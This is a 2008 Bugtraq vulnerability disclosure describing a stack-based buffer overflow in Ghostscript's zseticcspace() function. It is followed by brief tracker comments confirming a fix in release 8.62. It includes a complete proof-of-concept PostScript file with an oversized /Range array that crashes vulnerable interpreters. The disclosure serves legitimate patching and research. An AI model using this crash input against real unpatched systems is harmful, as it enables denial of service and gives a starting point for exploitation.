Subject: Ghostscript buffer overflow Date: Thu, 28 Feb 2008 14:57:42 -0800 From: Chris Evans <scarybeasts@gmail.com> To: bugtraq@securityfocus.com Hi, Buffer overflow in Ghostscript. A useful attack vector because a lot of UNIX workstations will put PS files on the web through Ghostscript. The problem is a stack-based buffer overflow in the zseticcspace() function in zicc.c. The issue is over-trust of the length of a postscript array which an attacker can set to an arbitrary length. One slight amusement is that the overflowed type is "float", leading to machine code -> float conversion in any exploit. An example .ps file to trigger a crash follows: %!PS-Adobe-2.0 << /DataSource currentfile /N 100 /Range [ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ] >> .seticcspace Announcement: http://scarybeastsecurity.blogspot.com/2008/02/buffer-overflow-in-ghostscript.html Full technical details including a demo exploit by my colleague Will Drewry: http://scary.beasts.org/security/CESA-2008-001.html Cheers Chris
Thanks. A fix for this was committed in r8520, and will be in the 8.62 release. Leaving open for support to verify.
Verified that in the 8.62 pre-release it throws a 'rangecheck' prior to attempting to fill a fixed size buffer for the 'Range' array.